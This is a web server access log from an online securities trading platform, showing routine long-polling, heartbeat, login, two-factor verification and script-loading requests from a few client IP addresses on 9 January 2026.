[09/Jan/2026:10:33:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926300013 HTTP/1.1" -
[09/Jan/2026:10:33:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:33:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:33:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:33:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:33:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926305490 HTTP/1.1" -
[09/Jan/2026:10:33:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:33:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:33:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926305042 HTTP/1.1" -
[09/Jan/2026:10:33:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926310549 HTTP/1.1" -
[09/Jan/2026:10:34:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926310064 HTTP/1.1" -
[09/Jan/2026:10:34:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926315660 HTTP/1.1" -
[09/Jan/2026:10:34:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926315105 HTTP/1.1" -
[09/Jan/2026:10:34:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926320815 HTTP/1.1" -
[09/Jan/2026:10:34:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:10:34:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:10:34:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:10:34:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:34:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926320142 HTTP/1.1" -
[09/Jan/2026:10:34:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 466
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767926335626 HTTP/1.1" 3188
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:10:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:10:34:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926325953 HTTP/1.1" -
[09/Jan/2026:10:34:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926325204 HTTP/1.1" -
[09/Jan/2026:10:34:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:34:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926325744 HTTP/1.1" -
[09/Jan/2026:10:34:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926331143 HTTP/1.1" -
[09/Jan/2026:10:34:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926330248 HTTP/1.1" -
[09/Jan/2026:10:34:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:34:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:34:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926332046 HTTP/1.1" -
[09/Jan/2026:10:34:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:34:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926336291 HTTP/1.1" -
[09/Jan/2026:10:34:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:34:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926335286 HTTP/1.1" -
[09/Jan/2026:10:34:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926338046 HTTP/1.1" -
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 430
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:10:34:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926341354 HTTP/1.1" -
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:10:34:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
